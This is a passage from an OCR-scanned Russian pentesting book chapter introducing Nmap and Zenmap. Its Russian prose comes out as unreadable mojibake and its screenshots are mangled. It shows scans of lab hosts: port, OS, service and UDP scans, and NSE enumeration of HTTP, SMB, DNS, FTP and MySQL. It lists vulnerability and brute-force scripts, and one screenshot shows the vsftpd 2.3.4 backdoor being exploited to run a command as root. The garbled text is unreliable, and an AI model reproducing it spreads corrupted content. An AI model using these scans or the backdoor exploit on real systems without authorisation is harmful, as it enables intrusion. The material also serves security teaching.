cooOmmi1 06 OTKPBITHHU ONpeeIeHHoro nopta. CkaHMPOBaHNE TPUYHUHBI

NMAP sBsiercs naTepecHoi onmueit, rme NMAP npenocrasisier npuauHy

IJIg KaKao0ro mnopra, COO6HI€HHOI‘ 0 KaK OTKpI:ITBIfI, KaK ITOKa3aHO Ha PUCYHKE

1-8. CxanupoBanuss NMAP ocuoBansl Ha ¢raarax TCP, kotopsie

YCTaHOBJICHBI B 3aIIpoce U OTBeTe. B 3TOM cityuae OTKpBIThIE OPTHI ObUTH

oOHapyxeHbl Ha ocHOBE (bi1aroB SYN u ACK, ycTaHOBJICHHBIX B ITaKeTax

TCP.

Scan Tools Profile Help

Target: |192.168.25.130

Zenmap o0
v | Profile: v |Scan
Command: Lundp --reason 192.168.25.13(|
Hosts | Services Nmap Output | Ports / Hosts  Topology | Host Details ' Scans
- Details

0S  Host . | nmap --reason 192.168.25.130

O 192.168.25.1

Nmap scan report for 192.168.25.130
Host is up, received arp-response (0.0016s latency).
Not shown: 991 closed ports
Reason: 991 resets

PORT
21/tcp
25/tcp
110/tcp
135/tcp
139/tcp
143/tcp
445/tcp
587/tep
3389/tcp

STATE
open
open
open
open
open
open
open
open
open

SERVICE REASON
ftp syn-ack
smtp syn-ack
pop3 syn-ack
msrpc syn-ack
netbios-ssn syn-ack
imap syn-ack
microsoft-ds syn-ack
submission syn-ack

ms-wbt-server syn-ack

ttl
ttl
ttl
ttl
ttl
ttl
ttl
ttl
ttl

MAC Address: 60:0C:29:D3:42:04 (VMware)

Starting Nmap 7.60 ( https://nmap.org ) at 2018-69-25 15:31 IST

— Nmap done: 1 IP address (1 host up) scanned in 1.53 seconds

Filter Hosts

Pucynok 1-8. Bv160o0 npuuunst ckanuposanus NMAP, evinonnennozo na

oonom IP-adpece

MopnepxnBaemble NPOTOKOMbI

Bot xomanna:

nmap -sO<uenesoit [P-anpec>

B pamkax cOopa u pa3Benku HHGOPMAIIMH MOXKET OKa3aThCs

1esecoo0pa3HbIM Y3HATh, KaKue MPOTOKOMEI [P momanep >kiuBaroTCs 1eIeBBIM

00bekToM. PrucyHok 1-9 moka3bIBaeT, 4To 3Ta [eNb NOAJCPKUBACT JBA
nporokona: TCP u ICMP

13
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Zenmap oo

Scan TJools Profile Help
Target: |192.168.25.129 v Profile: v |Scan
Command: |nmap -sO 192.168.25.129

Hos!s] Services Nmap Output | Ports / Hosts  Topology Host Details  Scans
0S  Host , | nmap -sO 192.168.25.129 s

192168251
Starting Nmap 7.60 ( https://nmap.org ) at 2018-09-25 15:27 xsﬂ

¥ 1921682513 Nmap scan report for 192.168.25.129
Host is up (0.00097s latency).
Not_shown: 222 closed protocols, 32 open|filtered protocols
PROTOCOL STATE SERVICE
1 open icmp
6 open tcp
MAC Address: 00:0C:29:11:8E:B1 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 240.68 seconds

I
Filter Hosts
Pucynok 1-9. Bvioo nposepxu npomoxona NMAP oonozo IP-adpeca
3oHanposaHue Firewall

B xopriopaTuBHOIi ceTH, MOTHON OpaHAMay3IpOB, CUCTEM OOHAPYKEHHSI

Details

BTOPKEHUI U CUCTEM NPEAOTBPALLCHMS BTOPKEHUH, BIIOJIHE BO3MOXKHO, UTO

Bammu ckannpoBaHusi NMAP OynyT He TObKO 0OHAPYKEHBI, HO U

3abmoknpoBansl. NMAP nipesiaraer ciocod mpoBepuTh, GUIBTPYIOTCS U

€ro CKaHbl KAKUM-IIHOO MMPOMCIKYTOUYHBIM yCTpOﬁCTBOM, TaKHM KaK

Opanamaysp. Pucynok 1-10 mokasbeiBaet, uto Bce 1000 mopToB, KOTOpHIE

ObuTH oTcKaHupoBaHbl NMAP, He ObUTH OTQUIIBTPOBAHBL; CIIEI0BATENBHO, HE

OBLJIO HUKAKOTO (PHIIBTPYIOIIETO YCTPOMCTBA.

Zenmap (IO ]

Scan Tools Profile Help

Target: |192.168.25.129 v Profile: v | Scan

Command: [nmap -sA [192.168.25.129

Hosts | Services |  Nmap Output | Ports / Hosts  Topology | Host Details  Scans
0S  Host . |nmap -sA 192.168.25.129 .

J 192168251
Starting Nmap 7.60 ( https://mmap.org ) at 2018-09-25 15:36 IST

W 1921682513 yoap scan report for 192.168.25.129
Host is up (0.0028s latency).
All 1000 scanned ports on 192.168.25.129 are unfiltered
MAC _Address: 00:6C:29:11:8E:B1 (VMware)

Nmap done: 1 IP address (1 host up) scanned in ©.43 seconds

‘I
Filter Hosts

Pucynok 1-10. Bv180o0 npodwl opanomayspa NMAP ons oonozo IP-
aopeca

Details

14
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Tononorusa

ZENMAP nmeer unTepecHyto (QyHKITHIO, KOTOpasi IOMOTaeT BaM
BH3YaJIN3UPOBATh TOMONOTHIO ceTh. CKa)keM, BBI BHITIOIHUIIH TTPOBEPKY
ping B mojiceTy M 0OHAPYKHUITH HECKOJIBKO XOCTOB *HUBBIMU. Ha prucynke 1-
11 mokazaHa cxema TOITOJIOTHH CETH /ISl XOCTOB, KOTOPBIE BBl HAIILTH
KUBBIMU. J[OCTyN K AMarpaMMe MO>KHO TOJIYYUTh C TIOMOIIBIO BKJIaIKH
«Tomonorusi» B untepdeiice ZENMAP.

Zererzy o000

@19216825.028

@19210825120

@asa00205

---- @ 19216825254

@33 160.252

; @rs21¢0251
@ icsoc (123683550

Pucynok 1-11. Cxema mononozuu xocma 6 ZENMAP

bbicTpoe ckaHupoBaHue TCP

Bot xomanga:
nmap -T4 -F<IP anmpec uemn>

Temnepsp, Korna y Bac €CTb CIIMCOK XOCTOB, HAXOASAIIMXCS B TIOJICETH, BB
MOXETE BBITIOJIHUTH MOAPOOHOE CKAHUPOBAHUE, YTOOBI BBISICHUTH, KAKHE
MOPTHI U CITyOBI padoTaroT Ha HUX. BBl MOXKeTe yCTaHOBUTH 1ieneBoi [P-
azapec, BeIOpath Quick Scan B kauecTBe MpoQuis, a 3aTeM BBIIOIHUTD
ckaHupoBaHue. PucyHok 1-12 nokaspiBaeT pe3yabTaTbl CKAHUPOBAHUS,

BBIACIIIONUE HECKOJIBKO ITOPTOB, OTKPBITHIX HA LCIIN.
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maBa 1 BeegeHue B NMAP

Zenmap - -]

v Profle: | Cuckscan *  San

Detals

| oat 2018-99-17 11123 187

op
open  Lagin
P open shell

+11:8E:01 [Viware)

Hmap done; 1 17 25 (1 host wp) scanned in 0.24 secends
Fiter Hosts

Pucynok 1-12. Bvioo 6vicmpoeo ckanuposanus TCP NMAP,
8bINONIHEHH020 Ha 00HOM IP-adpece

[MepeyeHb cnyxo

Bor xomaga:
nmap -sV<IP aapec uenu>

Temneps, Korna y Bac ecTb pabOTAIOMINM XOCT U BBl TAKXKE 3HAETE, KAKHE
MOPTHI OTKPBITHI, MPHUIIUIO BPeMs IEPEUUCITUTh CEPBUCHI, CBA3aHHBIE C
3TUMU nopTamu. Hanpumep, BbI MOXeTe BUIETh, YTO TOPT 21 OTKPHIT.
Tenepb BaM HY)KHO 3HaTh, KaKasl CIIy>kOa CBsI3aHa C HEll 1 Kakasi TOUHas
BepcHsl cepBepa 00CITy)KUBAET 3Ty CIIykO0y. Bel MoXeTe UCIONb30BaTh
KoMaHIy nmap -sV <neneBoii [P-agpec>, kak nmokazano Ha pucyHnke 1-13.
Kitou -sV o6o3Hauaet ciyxeOHy10 Bepcrio. Cay>KObl IepedrciIeHus U UX
BEPCHU MPEJOCTABISIOT OOMIMPHYIO HHOOPMAIINIO, KOTOPAst MOXKET

HCIIOJB30BaThCA AJIA CO3JaHuA ,Z[aJ'IBHCf/iH.II/IX aTrak.
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MmaBa 1 BeegeHne B NMAP

Zermap -C -

Scan Tods Profie Help

Torget v Profie v San
Commang.

Hosts | Services

o5 Hoxt Detals

o 192188251
5¢ 51//nmop.org | ot 2018-09-17 143152 IST
8.25,129

P (9.9
3 977 closed port

ouh ;. $
STATE SERVICE VERSION

8 ({(Ubuntu) OAV/2)

Kgroup: WORKCROUP)
(werkgroup: WORKGROUP)

8180/t¢p open
MAC Address:
Service Iafo.

st, irc.Metasploitable.LAN; 0Ss: Unix, Linux; CPE: cpe:/o:linux:linux kernel

Service detection perforved. Please report any Incorrect results st htips://neap.org/subsit/

Meap done: 1 IP address (1 host up) scanned in 13.89 seconds
———

Fizer Hests

Pucynok 1-13. Bvi6oo nposepku ciyscoot NMAP na ooun IP-adpec

CkaHnpoaHune UDP nopTtoB

Bot xomanpa:
nmap -sU -p 1-1024<IP appec nemn>

Bce ckanbl, KOTOpbIE BbI A€JIaIH IO CHX 110D, 1aBajld BaM HH()OPMALIUIO
TombKo 0 noptax TCP. OnHako y 1enu TakKe MOTYT OBITh CITY>KOBbI,
paboraromme Ha moprax UDP. [Ipu ckanuposaramu NMAP mo ymomrganuio
npoBepstoTcs Toipko mopTel TCP. BaM HY»HO MCKIIOUMTENBHO CKAHUPOBATh
UDP-niopts! 1 cepBuckl. s ckannpoBanus o6mux noproB UDP Be1 MoxkeTe
HCIIONIB30BaTh KoMaH Ty nmap -SU -p 1-1024 <uenesoii [P-agpec>. Ilapamerp
-sU ykasbiBaeT nogcucteMe NMAP cnenmansHo ckanupoBats noptsl UDP, B
TO Bpems Kak napametp -p 1-1024 orpannuuBaer NMAP ckanupoBaHrem
TOJIBKO TIOPTOB B niamnasoHe oT 1 1o 1024. Takke BaXKHO OTMETHTb, YTO
ckanupoBanue noptoB UDP 3HaunTensHo Ooiee qnuTensHOE BpeMsi, YeM
npu o0sryHOM ckanupoBanuu TCP. Pucynok 1-14 nmoka3eiBaeT BBIBOX
obpasma ckaaupoBanus UDP.
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maBa 1 BeegeHue B NMAP

i c00
Scan Tooks Profie Help
v Profe = Seom

Target: | 19216

Command: |rer

( hitpsi//omag.org ) Ot 2013-09-17 11152 IST
29 QIVing UP On POFT Decause retrassmission cap BiT (16).
$.25.129

Nnap scal

Nt shown: 1011 1
PORT  STATE

I - wmop done: 1 IP acdress (1 bost up) scanned in 1225.65 seconds
Firter Hosts

Pucynok 1-14. Bvioo 6azosozo UDP-ckanuposanus NMAP, evinonnennozo
Ha o0Hom IP-adpece

Onpepnenenne OC

Bor xomaga:
nmap -O<IP aapec nenmn>

Teneps, korna Bl 3HaeTe, KaK MPOBEPATh HATUYHE OTKPBITHIX TIOPTOB U
MIEPEUYHCIISATE CITY>KOBI, BBl MOYKETE TIOWTH JIAJIBIIE ¥ UCTIOIh30BaTh NMAP
JUTS OTIpENeNICHNs] BEPCUH OTIEPALIMOHHON CHCTEMBbI, Ha KOTOPOH paboTaeT
1eneBoi 00beKT. Bbl MOXkeTe ncmonb30BaTh Komanxy nmap -O <ueneBoit [P-
aapec>. Ha puc. 1-15 noka3an BBIBOJ 30Ha OOHAPYKEHUS ONEePallMOHHON
cucrembl NMAP. Bol MoxeTe BUIETD, UTO 1I€Ib paboTaeT NMoj yrnpaBieHueM

Linux Ha 0a3e sapa 2.6.X.
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MmaBa 1 BeegeHne B NMAP

Zeomap e e

Scan Tods Profle Help
Terget 119

Command

Moses | Services

o5 Host Detas

& 1921662513

s Vs £s g
192.168.23.128
latency

5 ) At 2018-09-17 14:33 15T

Not_shown: o
PORT STATE SERVICE
21/tcp  open ftp

Pucynox 1-15. Bvisoo onpedenenuss OC NMAP na oonom IP-adpece
Intense Scan(VHTeHCHMBHOE CKaHMPOBaHUE)

Bor xomanna:
nmap -T4 -A -v <IP agpec nemn>

o cux mop BeI ucionb3oBai NMAP 11s1 BRITOJTHEHHS OTIETBHBIX 33]1a4,
TaKMX KaK CKaHUPOBaHHE MOPTOB, O0Hapyx)eHHe Ciryx0 u onpenencHaue OC.
OpnHako Bce 3TH 33]1aud MO>KHO BBIITOJTHUTH C IOMOILBIO OJJHON KOMaH Ibl. BbI
MOJKETE MPOCTO YCTAHOBUTH 1enieBo [P-afgpec n BRIOpaTh MHTEHCHUBHBIN
npoduis ckanupoBanusi. NMAP Oyner BHIONHITE CKAHUPOBAHHE TIOPTOB
TCP, onpenensth cayX0bl H, KpOME TOTO, 3aITyCKaTh HEKOTOPbIE
pacIIpeHHbIe CIIEHAPUH, YTOOBI IOIYYUTh OOJIee MOJIe3HbIE Pe3yNbTaThI.
Hanpuwmep, Ha puc. 1-16 moka3zansl pe3yabTaThl THTEHCUBHOTO CKAHUPOBAHUS
NMAP, xotopoe He TobK0 0OHapyxuBaeT FTP-cepsep, HO 1 momuepKuBacT,

YTO Ha HEM BKJIIOYEH aHOHUMHBIN FTP-nocrtym.
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maBa 1 BeegeHue B NMAP

Zenmip

Pucynok 1-16. Bvi6o0 unmerncusnozo ckanuposanus NMAP, evinonnennozo va
oonom IP-adpece

CueHnapun NMAP

NMAP naBHO pa3Buiics n3 6a30BOro ckaHepa IopToB. DTO HAMHOrO Ooiiee
MOIIHBII U THOKUI HHCTPYMEHT, YeM IPOCTO CKaHEP MOPTOB.
OynknuronanbHocTh NMAP MokeT ObITh pacuiMpeHa ¢ MOMOIIIBIO ClIEHAPUEB
NMAP. Mexanusm cuenapueB NMAP criocoOeH BBIIONHATH CLIEHAPHH,
o0ecreurBaroIne BCECTOPOHHEE TIepeUrceHue enel u coop nHpopManuu.
NMAP umeer oxono 600 cuieHapueB, pegHa3HAYSHHBIX U Pa3InIHBIX
neneii. B Kali Linux 3TH CKpHUIITEI MOYKHO HAUTH IO apecy
/usr/share/nmap/scripts. B cnenyromem paszaene OyaeT o0CyKaaThCsl, KaK Bbl
MOJKETE UCTOIB30BaTh cuieHaprun NMAP mia nepedrcieHns pa3nuaHbIX
ciryx6 TCP.

MepeuncnexHne HTTP

HTTP - ato pacnpocTpaneHHas ciayx0a, HCIIOIb3yeMasi Ha MHOTUX
xoctax. OH paboraet Ha nmopty 80 o ymonmuanuto. B NMAP ectb

ckpunt ana nepeuncienuss HTTP-cepeucos. Ero MmoxHO BbI3BaTh
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maBa 1 BeegeHnne B NMAP

C TIOMOIIIBIO0 KOMaH B nmap —Script http-enum <uenesoii IP-aapec>. PucyHok

1-17 noka3siBaeT BBIBOJ CLICHApUs http-enurn. OH noka3bIBacT pa3jIn4yHbIC

MHTEPECHBIEC KaTaJIOTH, pa3MeIlIeHHbIEe Ha BeO-cepBepe, KOTOPBIE MOTYT OBITh

TIOJIE3HBI IIPH CO3AaHUN JaTbHEUIINX aTak.

Zenmap
Scan Tools Profie Help

Target: |192.168.25.129 v | Profie: |

Command: |nmap --script http-enum 192.168.25.129

Services | | Nmap Output | Ports / Hosts  Topology  Host Detalls - Scans

05 THost [ nmap --script http-enum 192.168.25.129

| http-enum:

| /tikiwiki/: Tikiwiki
|  /test/: Test page
|

|

|

|

/phpinfo.php: Possible information file
/phpMyAdmin/: phpMyAdmin
/doc/: Potentially interesting directory w/ listing on 'apache/2.2.8 (ubuntu) dav/2
/icons/: Potentially interesting folder w/ directory listing
| /index/: Potentially interesting folder
111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec
513/tcp open login
514/tcp open shell
1099/tcp open rmiregistry
1524/tcp open ingreslock
2049/tcp open nfs
2121/tcp open ccproxy-ftp
3306/tcp open mysql
$432/tcp open postgresql
5900/tcp open vnc
6000/tcp open X11
6667/tcp open irc
8009/tcp open ajpl3
8180/tcp open unknown
| http-enum:
| /admin/: Possible admin folder
| fadmin/index.html: Possible admin folder
| /admin/login.html: Possible admin folder
|  /admin/admin.html: Possible admin folder
| /admin/account.html: Possible admin folder
| fadmin/admin_login.html: Possible admin folder
|  /admin/home.html: Possible admin folder
| /admin/admin-login.html: Possible admin folder
| /admin/adminLogin.html: Possible admin folder
| /admin/controlpanel.html: Possible admin folder
| sadmin/cp.html: Possible admin folder
| /admin/index.jsp: Possible admin folder
| /admin/login.jsp: Possible admin folder
|  sadmin/admin.jsp: Possible admin folder
| /admin/home.jsp: Possible admin folder
| /admin/controlpanel.jsp: Possible admin folder
| /admin/admin-login.jsp: Possible admin folder
| /admin/cp.jsp: Possible admin folder
|
|

< /admin/account. jsp: Possible admin folder
/admin/admin login.jsp: Possible admin folder
Filter Hosts sadeimsndming meda dmmy Mamadiba admidn Sakdan

Pucynox 1-17. Bvi6o0o ckpunma http-enum ons yenesoeo IP-adpeca
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maBa 1 BeegeHne B NMAP

Metoabl HTTP

HTTP nognepxuBaeT UCHONB30BAHUE PA3IIUYHBIX METOAOB, TAKUX KAK
GET, POST, DELETE u Tak ganee. lHorga 3Ti METOIBI OCTAIOTCS
OTKPHITEIMHU Ha BeO-cepBepe 6e3 HeoOxoaumocTu. Brl Mmoxere
ucnonb3oBarh http-merozpl cieHapust NMAP, kak mokazano Ha puc. 1-18,

Ju1st nepeuriciienust meronos HT TP, paspelieHHbIX B 1IeN€BOM cucteme.

Zenmap e@e@e
Scan Tools Profile Help
Torget: |192.168.25.120 v Profle: v |San
Command: [nmap --scrpt hitp-methods 192.168.25.129 —— B =
r‘u_e;u—_‘ Services Nmap Output | Ports / Hosts - Topology  Host Detads | Scans
. | nmap --script http-methods 192.168.25.128 v Detats

OS  Hosl
Starting Nmap 7.6 ( https://nmap.org ) at 2018-09-28 12:22 IST

Nmap scan report for 192.168.25.129

Host 15 up (9.8824s latency).

Mot _shown: 977 closed ports

PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
23/tcp open telnet
25/tcp open smtp
53/tcp open domain
80/t¢p open http

| http-methods:

| Supported Methods: GET HEAD POST OPTIONS
111/tep rpebind

139/tcp netbios-ssn

44s/tcp microsoft-ds

512/tcp exec

open
open
open
open

B —
Filter Hosts

513/tep
s14/tcp
1099/tcp open
1524/tcp open
2049/tcp open
2121/tcp open
3306/tcp open
5432/tcp open
5900/tcp open
6000/tcp open
6667/tcp open
8009/tcp open
8180/tcp open

open
open

| http-methods:

login
shell
rmiregistry
ingreslock
nfs
ccproxy-ftp
nysql
postgresql
vne

x11

irc

ajp13
unknown

| Supported Methods: GET HEAD POST OPTIONS
MAC Address: 66:0C:29:11:8E:B1 (VMware)

Mmap done: 1 IP address (1 host up) scanned in

2.30 seconds

Pucynok 1-18. Bvi18o0 http-memooos cyenapus NMAP, evinonnennvix
ons yenesoeo IP-adpeca
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Huxe npuBeneHsl HeKOTOpbIE fonoaHUTENbHBIE clieHapuu NMAP nist HTTP:

"\ http-title

A\ http-method-tamper
A\ http-trace

"\ http-fetch

\ http-wordpress-enum
\ http-devframework
o\ http NSE Library

[MepeuncneHne SMB

Bbrok coobmmenntii cepeepa (SMB) - 3TO MPOTOKOI, IMHUPOKO UCTIOIH3YEMBIN
st oomeHa Qaiinamu B cetn. SMB 00b1uHO paboTaet Ha nopte 445. [TosTomy,
€CJIN BBl OOHAPYKUTE LEJb C OTKPBITHIM ITOPTOM 445, BBl 1OTIOTHUTEIBHO
nepeuncinuTe ee, ucnoinb3ys cueHapuu NMAP. Bel MoxkeTe BbI3BaTh
nepeurnciienre SMB ¢ momoripio komanasr nmap -p 445 —script-smb-0s-
discovery <menesoii [P-anpec>. [Tapamerp -p 445 3amyckaer crieHapHii 1ist
nopra 445 na nenu. BeiBon ckpurnTa, nokazaHHbIM Ha puc. 1-19, nact Bam

TouHy10 Bepcuio SMB, ncnons3yemyro OC u ums NetBIOS.

Zenmap -0 -]

DOetals

nitps:finaap.org ) at 2018-99-17 15:38 IST
192, 168.25.129
ency)

FORT  STATE SERVICE
4a3/tep open  alcroseft-ds
MAC Addreas: B9:0C:29:11:8F:81 (Vhare)

Host script results:
b 0%

- . Mmap dove: 1 TP address (1 host sp) scanned in .52 seconds
5 . -

Firer Hosts

Pucynok 1-19. Bvicoo cyenapuss NMAP smb-0s-discovery, ébinonnento2o o
yenesoeo |P-adpeca
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Hpyroii monesusiii cuenapuit NMAP - 3to smb-enum-shares, kak
rmokasaHo Ha pucynke 1-20. B mem nepeuncnensl Bce akinn SMB B
LIEJIEBOM CHCTEME.

Zenmap e o
Scan Tools Profile Help

Target: [192.168.25.130 v Profile: v |Scan

Command: |nmap --script smb-enum-shares 192,168.25.130

Services Nmap Output | Ports / Hosts - Topology  Host Detals - Scans

0S  Host . | nmap --script smb-enum-shares 192.168.25,130 - Detads
Y  192.168.25.1 Host is up (0.6018s latency).
- Mot shown: 991 closed ports
W 1921682513 porT STATE SERVICE

21/tcp  open ftp
25/tcp  open smtp
110/tcp open pop3
135/tcp open msrpc
139/tcp open netbios-ssn
143/tcp open imap
445/tcp open microsoft-ds
587/tcp open submission
3389/tcp open ms-wbt-server
i 00:0C:29:03:42:04 (VMware)

| smb-enum-shares:
account used: guest
\\192.168.25.130\ADMINS:
| Type: STYPE DISKTREE HIDDEN
| Comment: Remote Admin
| ANONYmOUS access: <none>
| Current user access: <none>
\\192.168.25.130\C5:
| Type: STYPE DISKTREE HIDDEN
| Comment: Default share
| Anonymous access: <none>
| Current user access: <none>
| \\192.168.25.130\1PCS
| Type: STYPE_IPC_HIDDEN
| Comment: Remote IPC
| Anonymous access: READ
Current user access: READ/WRITE
| \\192,168.25.130\SharedDocs:
| Type: STYPE DISKTREE
| Comment :
| ANONymous access: <nonex
| Current user access: READ/WRITE
| A\\192.168.25.130\s:
| Type: STYPE DISKTREE
| Comment :
| Anonymous access: <none>
| Current user access: READ/WRITE

I - meap done: 1 IP address {1 host up) scanned in 2.28 seconds
Filter Hosts

Pucynox 1-20. Bvioo cyenapuss NMAP smb-enum-shares,
8bINONIHEHHO20 0715 Yenegoeo IP-adpeca

Huxe npuBeneHbl HEKOTOPBIE JOMOIHUTENbHEIE clieHapud NMAP ans
niepeancienuss SMB:

o\ smb-vuln-ms17-010
o\ smb-protocols
o\ smb-mbenum

o\ smb-enum-users
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smb-enum-processes

smb-enum-services

MepeuncnerHne DNS

Cucrema JOMCHHBIX UMCH }:[CﬁCTBPITeJ'IBHO SIBJIICTCSL OCHOBOI HHTCpHCTa,

MOCKOJIbKY OHA BBITIONHSIET BaYKHYIO paboTy 10 IEpeBOLy MMEH XOCTOB B IP-

anpeca 1 Ha000poT. OH paboTaeT Ha MOPTy 53 MO YMOIYAHHIO.

[lepeuncnenne DNS-cepBepa MOXKET 1aTh MHOTO MHTEPECHOM U MOJIE3HOM

nHpopMmarn. NMAP nmeet HeCKOIBKO CIIEHAPHUEB IS TTEPEUNCICHIS

ciry0b1 DNS. Ha pucynke 1-21 noka3zano nepeuncienne DNS-cepsepa,

pacKpbIBaroIIee JETAIN €r0 BEPCHU.

Zenmap e e

Scan Tools Profie Help

Target: | 192.168.25.129 v | Profile: v |Scan

Command: [nmap -p 53 -A -/ 192.168.25.129 |

Hosts | Services

0S  Host

6. 192.168.25.12

«
Filter Hosts

Nmap Output | Ports / Hosts  Topology  Host Details | Scans
nmap -p 53 -A -v 192.168.25.129 2 Details

Completed NSE at 14:53, 6.00s elapsed .
Nmap scan report for 192.168.25.129
Host is up (©.8813s latency).

PORT STATE SERVICE VERSION

53/tcp open domain ISC BIND 9.4.2

| dns-nsid:

| bind.version: 9.4.2

MAC Address: 069:0C:29:11:8E:B1 (VMware)

Warning: 0SScan results may be unreliable because we could not find at least 1 open and 1
closed port

Device type: general purpose

Running: Linux 2.6.X

0S CPE: cpe:/o:linux:linux kernel:2.6

0S details: Linux 2.6.9 - 2.6.33

Uptime guess: 0.009 days (since Wed Oct 3 14:40:38 2018)
Network Distance; 1 hop

TCP_Sequence Prediction: Difficulty=263 (Good luck!)
IP_ID Sequence Generation: All zeros

TRACEROUTE
HOP RTT ADDRESS
1 1.26 ms 192.168.25.129

NSE: Script Post-scanning.
Initiating NSE at 14:53
Completed NSE at 14:53, 0.00s elapsed
Initiating NSE at 14:53
Completed NSE at 14:53, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
0S and Service detection performed. Please report any incorrect results at https://
nmap.org/submit/ .

3 1 IP address (1 host up) scanned in 17.00 seconds

Raw packets sent: 21 (1.676KB) | Rcvd: 17 (1.382KB)

Pucynok 1-21. Bvioo nepeuucnenuss DNS, gvinonunennoeo ois yenesozo 1P-

adpeca
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Huxe npuBeeHs! HEKOTOPHIE TOTIONHUTENBHBIE clieHapuu NMAP ans
DNS:

A\ dns-cache-snoop

"\ dns-service-discovery
"\ dns-recursion

\ dns-brute

o\ dns-zone-transfer

o\ dns-nsid

\ dns-nsec-enum

A\ dns-fuzz

o\ dns-srv-enum

[MepeuncneHune FTP

[Iporokon nepenaun daitnos (FTP) sBisercs HanbOonee 4acTo HCITOIB3YEMBIM
MIPOTOKOJIOM 117151 Iiepeadn (aiiinoB mexay cucreMamu. OH paboTaer Ha
nopty 21 no ymonuanuo. NMAP nMeeT HECKOJIBKO CLICHAPUEB IS

nepeurcnenus cayx0b1 FTP. PucyHok 1-22 moka3biBaeT BBIBOA ABYX

CKPHUIITOB.
A\ ftp-syst
A\ ftp-anon

BriBon nokaseiBaeT nmogpobHocTH Bepcuu FTP-cepepa u mokasbiBaer,

YTO CECPBEP MPUHUMACT aHOHUMHBIC IMOAKITIOUCHUA.
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Zenmap
Scan JYools Profie Help

Target: |192.168.25.129 v Profile:

[[Hosts ] services | | Nmap Output | Ports / Hosts | Topology | Host Details ' Scans
0S  Host o | nmap --script ftp-syst 192.168.25,129 --script ftp-anon

Starting Nmap 7.60 ( https://nmap.org ) at 2018-09-19 16:04 IST

N=ap scan report for 192.168.25.129

Host is up (0.00069s latency).

Not shown: 977 closed ports

PORT STATE SERVICE

21/tcp  open ftp

| _ftp-anon: Anonymous FTP login allowed (FTP code 238)

| ftp-syst:

|  STAT:

| FTP server status:

| Connected to 192.168.25.128

| Logged in as Ttp

1 TYPE: ASCII

1 No session bandwidth limit

| Session timeout in seconds is 360

| Control connection is plain text

| Data connections will be plain text
VSFTPd 2.3.4 - secure, fast, stable

| _End of status

22/tcp open ssh

23/tcp  open telnet

25/tcp open  smtp

53/tcp open domain

80/tcp open http

111/tcp open rpcbind

139/tcp open netbios-ssn

445/tcp open microsoft-ds

512/tcp open exec

513/tcp open login

514/tcp open shell

1099/tcp open rmiregistry

1524/tcp open ingreslock

2049/tcp open nfs

2121/tcp open ccproxy-ftp

3306/tcp open mysql

5432/tcp open postgresql

5900/tcp open vnc

6000/tcp open X1l

6667/tcp open irc

8009/tcp open ajpl3

8180/tcp open unknown

MAC Address: ©00:0C:29:11:8E:B1 (VMware)

<IN - Nsap done: 1 IP address (1 host up) scanned in 1.76 seconds

Pucynox 1-22. Bvisoo cyenapues NMAP fip-syst u fip-anon, evinonnennvix
onst yenesoeo IP-adpeca

Tak kak 11eJ1b paboraeT Ha cepBepe vsftpd, Bel MoxkeTe OIPoOOBaTh
npyroii cuieHapuit NMAP, xoTopslit mposepurt, ys3sum i FTP-cepsep.
MosHo ucnosb3oBathk ckpunr ftp-vsftpd-backdoor, kak mokasaHo Ha prCyHKe
1-23.
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Zenmap e e
Scan Tools Profile Help
Torget |192.168.25.129 v Profle: v [scan) Cancet
Command: [nmap --script fip-Vsftpd-backdoor 192.168.25.129 ]

Services Nmap Output  Ports / Hosts - Topology Host Detals - Scans

05 Host | | nmap --script fip-vsftpd-backdoor 192.168.25.129 = Detads
Mot shown: 977 closed ports s
PORT STATE SERVICE

® 1921682513 |21/tcp open ftp
| ttp-vsftpd-backdoor:
|  VULNERABLE:
| VvsFTPd version 2.3.4 backdoor
| State: VULNERABLE (Exploitable)
| IDs: 05VDB:73573 (CVE:(VE-2011-2523
| vsFTPd version 2.3.4 backdoor, this was reported on 2011-07-64.
| Disclosure date: 2011-87-03
| Exploit results:
1 Shell command: 1d
| Results: uidwe(root) gid=e(root)
| References:
| http://osvdb.org/73573
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523
| https://github.con/rapid7/metasploit- framework/blob/master/modules/exploits/unix/ftp/
vsftpd 234 backdoor.rb
| http://scarybeastsecurity blogspot.com/2011/07/alert-vsftpd-download-backdoored. html
22/tcp open ssh
23/tcp open telnet
25/tcp  open smtp
53/tcp open domain
80/tcp open http
111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec
513/tcp open login
514/tcp open shell
1099/tcp open rmiregistry
1524/tcp open ingreslock
2049/tcp open nfs
2121/tcp open ccproxy-ftp
3306/tcp open mysql
5432/tcp open postgresql
5960/tcp open vnc
6000/tcp open X11
6667/tcp open irc
8009/tcp open ajpl3
8180/tcp open unknown
i 00:0C:29:11:8E:B1 (VMware)

I - mmap done: 1 IP address (1 host up) scanned in 2.88 seconds
| Filter Hosts

Pucynox 1-23. Boiéoo cyenapus NMAP fip-vsftpd-backdoor, evinonnennozo
onst yenesoeo IP-aopeca

Pesynsrar nokassiBaet, uro FTP-cepBep ys3BUM; BbI y3HaeTe, Kak
HCIOJIB30BATh 3TO MO3KE B 3TOM KHUTE.

Huxe npuBeneHbl HEKOTOPBIE JOMOIHUTENbHbIE clieHapud NMAP ans
FTP:

\ ftp-brute
o\ ftp NSE
o\ ftp-bounce
o\ ftp-vuln-cve2010-4221
o\ ftp-libopie
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[Mepeuncnenne MySQL

MySQL - onHa U3 caMbIX TONYISPHBIX CUCTEM YIIPABICHUS PEIIUOHHBIMU
0a3aMu TaHHBIX C OTKPBITHIM HCXOOHBIM KogoM. OH paboTaet Ha nopty 3306
o ymonmuanuo. NMAP nmeeT creHapuu 1j1st IepedncieHHs CITy>KObI
MySQL. Ilepeuncnenne ciry:x061 MySQL MOXeT pacKpbITh MHOTO
MOTEHIMATbHON HH(POPMALIIH, KOTOPasi MOXKET OBITh B TAJIbHEHIIIEM
WCTIONIb30BaHA IS aTaKH Ha IIeNIeByI0 0a3y JaHHbBIX. PucyHok 1-24
MMOKa3bIBaeT BHIBOJ clieHapus mysql-info. OH moka3pIBaeT MompoOHyI0
WHPOPMAIHIO O BEPCHUH MPOTOKOJIA, BOBMOXKHOCTSIX CEpPBEPa U HCIIOIB3YEeMOM

3HAYCHUMU.

d | af 2018-83-13 1686 I3T

